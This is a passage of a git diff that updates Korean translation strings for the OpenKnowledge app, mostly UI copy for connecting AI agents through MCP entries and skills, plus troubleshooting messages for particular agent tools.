확인란을 선택하면 즉시 설정하고, 선택을 해제하면 제거합니다."- ],"mPoOmg": ["여기에 먼저 스킬을 설치하세요"],"mPy9lS": ["기존 사양을 영역별로 그룹화한 연결된 색인으로 정리하고, 현재 코드와 동기화되지 않은 항목을 표시합니다."@@ -3833,6 +3959,7 @@"아직 패턴이 없습니다. 아래에 폴더 또는 파일 이름을 입력하면 파일 숨기기를 시작합니다."],"mdKFEy": ["\"", ["docName"], "\" 불러오기를 취소했습니다."],+ "mdWhUY": ["OpenKnowledge가 이 컴퓨터에서 이 에이전트를 찾지 못했습니다."],"mdzKSV": [["nodeCount", "plural", { "other": ["노드 ", "#", "개"] }]],"mf37rL": ["다시 시도 중"],"mg0YGL": ["소스 다중 커서 및 다중 선택"],@@ -3887,6 +4014,7 @@"mwMF9u": ["소스 편집기 모드에서 CodeMirror 검색을 엽니다."],"mxGJVE": ["워크트리 전환…"],"mxY24F": ["파일 사이드바에 포커스가 있을 때 포커스된 파일 트리 항목을 복제합니다."],+ "n11Jj7": ["이 에이전트에 OpenKnowledge 프로젝트 스킬을 설치합니다."],"n2XqGH": ["편집기 패널"],"n2lRue": ["전환하려면 변경 사항을 커밋하거나 스태시하세요:"],"n3T3EE": [["label"], "에 설치됨. 제거하려면 클릭"],@@ -3902,7 +4030,6 @@],"n7aopT": ["편집기 모드"],"n81AV0": [["owner"], "/", ["name"], "이 이미 존재합니다. 다른 이름을 선택하세요."],- "n8DwqQ": ["다음에 신뢰할 수 있는 Codex 세션에서 이 프로젝트를 열면 자동으로 연결됩니다."],"nBHvPL": ["편집 취소"],"nBgzKO": ["이 위치를 소스로 지정. 스킬의 실제 폴더가 여기로 이동합니다"],"nCzR-G": ["코드 ", ["userCode"], " 복사"],@@ -3955,6 +4082,9 @@"nsM-_m": ["수백 개의 테마 찾아보기"],"nsUDL8": [["0"], "개 선택됨 (전체 ", ["1"], "개 프로젝트 중)"],"nskygk": ["에이전트 선택"],+ "nta97o": [+ "에이전트에게 문서 작업에 대한 지침을 제공하고 편집 내역의 작성자 정보를 유지합니다."+ ],"nwtY4N": ["문제가 발생했습니다"],"nxlOpL": ["OpenKnowledge가 이 GitHub 계정을 사용 중입니다."],"ny6vNn": [@@ -4018,6 +4148,7 @@"\"의 로컬 협업 데이터를 지우지 못했습니다. 다시 시도하려면 다시 로드하세요."],"oxdGJn": ["떠나기 전에 이유를 알려주시겠어요?"],+ "oxj8er": ["에이전트를 이 프로젝트에 연결하여 문서를 읽고 검색하고 편집할 수 있게 합니다."],"oy5bJW": ["추가할 수 있는 항목"],"oyBV3W": ["사용자 지정 스킬 폴더 경로"],"p0Iq25": ["링크 삽입"],@@ -4089,7 +4220,6 @@["2"],"\" 스킬에서 영구적으로 삭제됩니다. 이를 가리키는 SKILL.md의 항목은 다시 만들 때까지 작동하지 않습니다."],- "psfGPX": ["MCP 연결"],"psl2Sj": ["변경사항을 아직 저장 중입니다. 잠시 후 테스트를 다시 실행합니다."],"ptQ3_N": ["링크 해제"],"pvnfJD": ["어두운 테마"],@@ -4103,6 +4233,7 @@"q4YJl_": ["터미널 세션 종료(종료 코드 ", ["0"], ")."],"q4efaG": [["filePath"], "이 이 스킬에서 제거되었습니다"],"q6-JVU": ["페이지를 불러오는 중"],+ "q63KUv": ["MCP 및 스킬 추가"],"q7F5am": ["제목"],"q8aCbb": ["\"", ["0"], "\"의 두 버전. 소스와 ", ["editor"]],"qAQVSD": ["페이지 제목 응답이 JSON이 아닙니다"],@@ -4156,10 +4287,12 @@"qlAIQ1": ["원격"],"qo4zCg": ["경로에 백슬래시를 포함할 수 없음"],"qpQwGC": ["작업 중인 내용을 설명하면 에이전트가 설정합니다."],+ "qr2gAH": ["OpenKnowledge가 ", ["0"], "에 대해 설정할 항목을 선택하세요."],"qribBG": ["스키마 ", ["deleteTarget"]],"qtnmEX": ["유효한 테마 이름을 입력합니다."],"qvWGzP": ["모두 접기"],"qyLmWw": ["소스 편집기 검색 패널"],+ "qze9od": ["이 폴더는 ", ["alsoAffects"], "의 폴더이기도 합니다."],"r-OJYm": ["유효한 브랜치 이름을 입력하세요(공백, 앞의 점, \"..\" 제외)."],"r2eKE3": ["먼저 ", ["agentName"], " 로그인"],"r4R7AZ": ["정리 중 네트워크 오류가 발생했습니다."],@@ -4250,6 +4383,9 @@"s1c0ja": ["글머리 기호 목록"],"s3caR3": ["삭제 중"],"s7us1p": ["PNG, JPEG 또는 WebP 이미지만 허용됩니다."],+ "s8difl": [+ "스킬이 없어도 에이전트는 계속 작동하지만, 편집 내역의 작성자 정보와 실시간 미리보기를 잃게 됩니다."+ ],"sAP9XO": [["0"], " 플러그인 · ", ["1"]],"sE7R19": ["템플릿을 불러오지 못했습니다: ",@@ -4341,6 +4477,9 @@"tA0b9E": ["기본 스킬 폴더(저장 후 정확한 경로가 표시됨)"],"tA2-xC": ["\"", ["0"], "\"은 이미 추가되어 있습니다(내용이 동일합니다)."],"tAPZEx": ["아래"],+ "tCE-ZH": [+ "OpenKnowledge가 이 항목을 인식하지 못하며, 이 파일 형식에서는 안전하게 대체할 수 없습니다."+ ],"tCyvAw": ["파일 첨부"],"tHKQ6j": ["이름 변경 중"],"tKlWWY": ["이모지"],@@ -4377,6 +4516,48 @@"tnG-m6": ["자동 동기화가 일시 중지되었습니다. 계속하려면 로그인합니다."],"toyw51": ["Mermaid 다이어그램 컨트롤"],"tqQBwN": ["스크립트는 검토용으로만 표시하며 실행하지 않습니다."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ "은(는) 각 OpenKnowledge 도구를 처음 사용할 때 승인을 요청합니다."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ ["agent"],+ "에 OpenKnowledge 도구가 보이지 않으면 이 프로젝트에서 실행한 뒤 OpenKnowledge 서버를 한 번 승인하세요."+ ],+ "troubleshooting.codex.desktop-project-config": [+ ["agent"],+ " 데스크톱 앱은 이 프로젝트 설정을 무시합니다. ",+ ["agent"],+ " CLI만 이 설정을 읽습니다."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ "은(는) OpenKnowledge가 ",+ ["sourceAgent"],+ "을(를) 위해 작성한 워크스페이스 MCP 설정을 읽습니다. 한쪽에서 제거하면 양쪽 모두에서 제거됩니다."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ ["agent"],+ "에 OpenKnowledge 도구가 보이지 않으면 Settings → Tools & MCP에서 서버를 켜세요. ",+ ["agent"],+ "은(는) 직접 켜기 전까지 프로젝트 서버를 꺼 둡니다."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ ["agent"],+ "에 OpenKnowledge 도구가 보이지 않으면 설정에 있는 MCP 설정 경로가 OpenKnowledge가 작성한 파일과 일치하는지 확인하세요."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ "의 중앙 스킬 저장소가 아직 없습니다. ",+ ["agent"],+ "을(를) 한 번 시작해 저장소를 만들게 한 뒤 다시 시도하세요."+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ "은(는) 신뢰한 폴더에서만 프로젝트 확장을 불러옵니다. 도구가 나타나지 않으면 ",+ ["agent"],+ "에서 이 폴더를 신뢰하세요."+ ],"tsiTqO": ["API 키 붙여넣기"],"tvMvze": ["\"",@@ -4431,6 +4612,7 @@"uUCrBv": ["심볼릭 링크"],"uV3EYs": ["내 이미지"],"uVbUP8": ["설정…"],+ "uVhq9B": ["이 에이전트에 OpenKnowledge 검색 스킬을 설치합니다."],"uX85yl": ["설정 파일에는 <0>.ok/</0>, AI 도구 MCP 구성(<1>.mcp.json</1> 및 도구별 파일)이 포함됩니다. 스킬은 포함되지 않습니다. 프로젝트의 다른 파일과 똑같이 git을 따릅니다.<2/><3>공유</3>는 이를 git에 커밋하므로 리포지토리를 클론하는 누구나 동일한 설정을 받습니다. <4/><5>나만 보기</5>는 <6>.git/info/exclude</6>를 통해 git에서 제외합니다."],@@ -4532,6 +4714,7 @@"vy_VIN": ["git에서 추적됨. 업데이트는 자동 업데이트가 아니라 저장소를 통해 전달됩니다(pull 또는 CI)"],+ "vyjTYE": [["changeCount", "plural", { "one": ["#", "개 변경"], "other": ["#", "개 변경"] }]],"w0YVAE": ["스킬 노드 보기"],"w3tVpc": ["아직 링크가 없습니다. 위키 링크나 Markdown 링크를 추가하여 그래프를 만드세요."],"w3vFfL": ["파일 숨기기"],@@ -4567,6 +4750,7 @@"wQp1V3": ["<0>", ["src"], "</0>의 미러"],"wQvvZY": ["새 스킬 파일"],"wRni1Z": ["Slidev 사용 안 함"],+ "wSBXaS": [["rowLabel"], " 관리"],"wT4iQr": ["교체 컨트롤을 확장한 상태로 비주얼 편집기 찾기를 엽니다."],"wTcjov": ["워크스페이스 없음"],"wU8WyK": ["요소 필드"],@@ -4592,7 +4776,9 @@"wdxz7K": ["소스"],"wdzBgi": ["config 공유가 이제 나만 보기입니다."],"weP6me": ["문서를 불러오지 못했습니다. 다시 시도하려면 @를 입력하세요"],+ "wfZwqe": [["rowLabel"], " 설치"],"wgNoIs": ["모두 선택"],+ "wgj--j": ["이 에이전트에 전역 OpenKnowledge MCP 항목을 추가합니다."],"wk_v1X": ["이 워크트리의 동기화가 자동(풀 및 푸시)으로 설정되어 있습니다. ",["project"],@@ -4725,7 +4911,6 @@"yZmvQ4": ["이 프로젝트의 서버(v", ["0"], ")가 이 앱(v", ["1"], ")보다 최신입니다."],"y_5CE8": ["항목 ", ["0"]],"y_K0Dz": ["무슨 일이 있었나요?"],- "yaPGPa": ["AI 도구 연결을 관리하려면 프로젝트를 엽니다."],"ybPMz3": [["name"], "을(를) 고정할 수 없습니다"],"ycIX5i": ["로그아웃된 상태입니다. 동기화를 계속하려면 로그인하세요."],"yckias": ["파일 이름 변경"],@@ -4747,9 +4932,6 @@["source"],"</0>에 있습니다. 여기에서 실행되는 에이전트는 불러올 수 없으므로 편집하려면 복사하세요."],- "yhdqox": [- "설치됨, 외부 터미널에서 ok를 사용할 수 있습니다. 선택을 해제하면 제거되며, OpenKnowledge 기본 제공 터미널과 AI 도구는 계속 작동합니다."- ],"yhy5h-": ["스킬 ", ["count"], "개 모두 보기"],"yit5dF": ["이 프로젝트에 폴더가 아직 없습니다."],"yjExfe": ["브랜치 <0>", ["shareBranch"], "</0>의 체크아웃 위치:"],@@ -4762,7 +4944,6 @@"yvG-l1": ["소스 lint 패널 열기"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["수정을 중지합니다. 이미 수정한 파일은 그대로 유지됩니다."],- "ywVfOE": ["이 프로젝트의 스킬이 스킬 스튜디오로 이동했습니다."],"yxF19Y": [["0", "plural", { "other": ["플러그인 ", "#", "개"] }]],"yz7wBu": ["닫기"],"yzF66j": ["링크"],diff --git a/packages/app/src/locales/ko/messages.po b/packages/app/src/locales/ko/messages.poindex f3d850dbf..433831f32 100644--- a/packages/app/src/locales/ko/messages.po+++ b/packages/app/src/locales/ko/messages.po@@ -330,6 +330,12 @@ msgstr "{0}에서 {1} 확인 없이 작업할 수 있습니다"msgid "{0} needs {1}"msgstr "{0}에 {1} 필요"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0}에는 {1}이(가) 필요합니다. 둘 다 끄거나, 둘 다 켜 두세요."+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0}년 전"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (충돌)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent}은(는) 각 OpenKnowledge 도구를 처음 사용할 때 승인을 요청합니다."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "OpenKnowledge가 {agent}을(를) 실행할 때마다 OpenKnowledge 도구를 전달합니다. 설정에는 아무것도 기록되지 않습니다."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent}은(는) 신뢰한 폴더에서만 프로젝트 확장을 불러옵니다. 도구가 나타나지 않으면 {agent}에서 이 폴더를 신뢰하세요."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent}은(는) OpenKnowledge가 {sourceAgent}을(를) 위해 작성한 워크스페이스 MCP 설정을 읽습니다. 한쪽에서 제거하면 양쪽 모두에서 제거됩니다."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "{agent}의 중앙 스킬 저장소가 아직 없습니다. {agent}을(를) 한 번 시작해 저장소를 만들게 한 뒤 다시 시도하세요."+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} 대화 시작 실패."@@ -520,6 +551,10 @@ msgstr "{boldName}은 <0>{0}</0> 플러그인의 일부입니다{pluginVersion}.msgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName}은 이 프로젝트 외부의 <0>{source}</0>에 있습니다. 여기에서 실행되는 에이전트는 불러올 수 없으므로 편집하려면 복사하세요."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {#개 변경} other {#개 변경}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, other {#자}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, other {#일 전}}"msgid "{days}d ago"msgstr "{days}일 전"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent}에는 {prerequisite}이(가) 필요하지만, OpenKnowledge가 이 파일 형식에서 해당 항목을 안전하게 교체할 수 없습니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent}에는 {prerequisite}이(가) 필요하지만, OpenKnowledge가 이 컴퓨터에서 이 에이전트를 찾지 못했습니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent}에는 {prerequisite}이(가) 필요하지만 OpenKnowledge가 해당 항목을 인식하지 못합니다. {prerequisite}을(를) 선택해 대체한 뒤 다시 저장하세요."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent}에는 {prerequisite}이(가) 필요하지만, 이 에이전트에는 아직 이 컴퓨터에 그런 종류의 파일이 없습니다. 에이전트를 한 번 연 뒤 다시 시도하세요."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent}에는 {prerequisite}이(가) 필요하지만, OpenKnowledge가 대신 설정할 수 없습니다. 설정 가이드에 수동 단계가 있습니다."+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel}, 렌더링 오류, 아래에서 소스를 편집할 수 있습니다"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) 미설치 또는 PATH 미등록"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "{displayName} CLI"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "{displayName} CLI, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}>는 알려진 컴포넌트가 아닙니다. 다른 곳msgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> 컴포넌트를 렌더링하지 못했습니다. 잘못된 속성 때문일 수 있습니다. 문제를 확인하려면 소스를 복사하거나 블록을 삭제하세요."-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> 및 <1>~/.ok/env.sh</1>는 어느 경우에도 유지됩니다. 앱이 항상 관리합니다."-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>미러, 소스를 선택하세요.</0> 속성 패널에서 <1>src</1>와 <2>anchor</2>를 설정해 다른 곳의 <3><MirrorSource></3>를 가리키세요."@@ -1493,6 +1544,14 @@ msgstr "{keyName}에 항목 추가"msgid "Add link"msgstr "링크 추가"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "MCP 및 스킬 추가"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "{rowLabel}에 MCP 및 스킬 추가"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "검색에 의미 기반 순위를 추가하여 공통 키워드가 없어도 개념적으로 관련된 페이지가 나타나게 합니다."@@ -1531,10 +1590,9 @@ msgstr "탭 추가"msgid "Add tag"msgstr "태그 추가"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "터미널에 <0>ok</0> 명령 추가"@@ -1568,16 +1626,15 @@ msgstr "이 메시지에 댓글 남기기"msgid "Added"msgstr "추가됨"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "이 에이전트에 전역 OpenKnowledge MCP 항목을 추가합니다."+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "관리 블록을 다음 대상에 추가합니다"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "{0}에 관리 블록 추가"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "<0>{toolList}</0>에 OpenKnowledge MCP 항목과 프로젝트 스킬을msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "<0>{connectToolList}</0>에 OpenKnowledge MCP 항목을 추가해 에이전트가 파일을 읽고 편집할 수 있게 합니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "이 프로젝트의 에이전트 설정에 OpenKnowledge MCP 항목을 추가합니다."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "{agent} 자체 MCP 설정에 OpenKnowledge를 추가하여 이 컴퓨터의 모든 프로젝트에 접근할 수 있게 합니다."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "{agent}이(가) 이 프로젝트에서 읽는 MCP 설정에 OpenKnowledge를 추가하여 이 문서들을 읽고, 검색하고, 편집할 수 있게 합니다."+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "사용 가능한 경우 텔레메트리, 서버 상태, 런타임 정보를 추가합니다. 자격 증명은 항상 제거되며, 포함된 문서 이름은 비공개 처리되지 않은 일반 텍스트로 표시됩니다."@@ -1640,6 +1711,11 @@ msgstr "에이전트 채팅"msgid "Agent configuration file"msgstr "에이전트 설정 파일"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "에이전트 연결"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "에이전트 모드"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "에이전트 대화 기록"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "에이전트"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "AI 도구 관리는 OpenKnowledge 데스크톱 앱에서만 사용할 수 있습니다."--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "AI 도구"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "AI 도구 및 CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "가운데 정렬"@@ -2397,14 +2464,6 @@ msgstr "콜아웃은 중요한 정보에 주의를 집중시킵니다."msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "프로젝트를 중첩할 수 없습니다. <0>{rootPath}</0>에 OpenKnowledge 프로젝트가 이미 있습니다. 그 밖의 위치를 선택하거나 대신 해당 프로젝트를 여세요."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "이 프로젝트 config를 안전하게 편집할 수 없습니다."--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "이 도구의 config를 안전하게 편집할 수 없습니다."-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "이 경로는 공유할 수 없습니다."@@ -2433,6 +2492,7 @@ msgstr "이 경로는 공유할 수 없습니다."#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "아이콘 선택"msgid "Choose what a new tab starts"msgstr "새 탭 시작 화면 선택"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "OpenKnowledge가 {0}에 대해 설정할 항목을 선택하세요."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "OpenKnowledge가 설정할 항목을 선택하세요."+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "댓글 보낼 곳을 선택합니다"@@ -2671,9 +2740,9 @@ msgstr "이 메시지를 보낼 곳 선택"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "이 프로젝트의 OpenKnowledge 설정과 AI 도구 연결을 프로젝트와 함께 저장해 팀원도 사용하게 할지, 아니면 이 컴퓨터에만 보관할지 선택합니다."-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "앱의 에이전트 메뉴에 포함할 에이전트를 선택합니다. Ask AI, Open with AI, + 새 채팅 버튼 등이 해당합니다. 에이전트를 끄면 모든 메뉴에서 숨깁니다."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "앱의 에이전트 메뉴에 포함할 에이전트를 선택하고, 문서를 읽고 업데이트할 수 있도록 설정하세요."#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "구성 경고"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "계속하려면 GitHub에 연결하세요."msgid "Connect OpenKnowledge to other tools you use."msgstr "OpenKnowledge를 사용하는 다른 도구에 연결합니다."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "이 프로젝트에서 사용하는 AI 도구를 연결합니다. 이 파일은 프로젝트 폴더에 있으므로 누구나 프로젝트를 열면 같은 설정을 사용합니다."-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "AI 도구 연결"msgid "Connect your AI tools to this project"msgstr "AI 도구를 이 프로젝트에 연결"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "연결됨"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "연결 오류. 다시 시도하세요."msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "연결 끊김. 이 탭을 열어 두면 다시 연결된 뒤 편집 내용도 동기화됩니다."-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "다음에 신뢰할 수 있는 Codex 세션에서 이 프로젝트를 열면 자동으로 연결됩니다."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "다음에 신뢰할 수 있는 {agent} 세션에서 이 프로젝트를 열면 자동으로 연결됩니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "이 컴퓨터의 모든 프로젝트에서 에이전트를 OpenKnowledge에 연결합니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "에이전트를 이 프로젝트에 연결하여 문서를 읽고 검색하고 편집할 수 있게 합니다."#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "댓글 추가에 실패했습니다."#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "변경사항을 적용하지 못했습니다: {0}"@@ -3673,6 +3748,10 @@ msgstr "변경사항을 적용하지 못했습니다: {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "{filePath}에 아직 충돌이 있는지 확인하지 못했습니다 — 다시 시도합니다."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "어떤 도구가 연결되었는지 확인하지 못했습니다."+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "키를 지우지 못했습니다. 다시 시도합니다."@@ -3948,7 +4027,7 @@ msgstr "협업 서버 연결 실패: {errorDetail}. <0>ok status</0> 실행 또msgid "Couldn't reach GitHub. Try again?"msgstr "GitHub에 연결할 수 없습니다. 다시 시도할까요?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "에이전트 레지스트리에 연결하지 못했습니다."@@ -4401,11 +4480,6 @@ msgstr "사용자 지정 엔드포인트"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "실시간 미리보기 창이 있는 사용자 지정 HTML입니다. 샌드박스 처리된 iframe입니다."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "사용자 지정 OpenKnowledge 항목, OpenKnowledge에서 관리하지 않음"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "사용자 지정 스킬 폴더 경로"@@ -4776,6 +4850,10 @@ msgstr "연결 해제"msgid "Disconnecting"msgstr "연결 해제 중"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "검색 스킬은 모든 AI 도구에서 함께 관리됩니다. 설정 → 스킬 스튜디오에서 이 스킬을 설치하세요."+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "시작 콘텐츠 비어 있음"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid 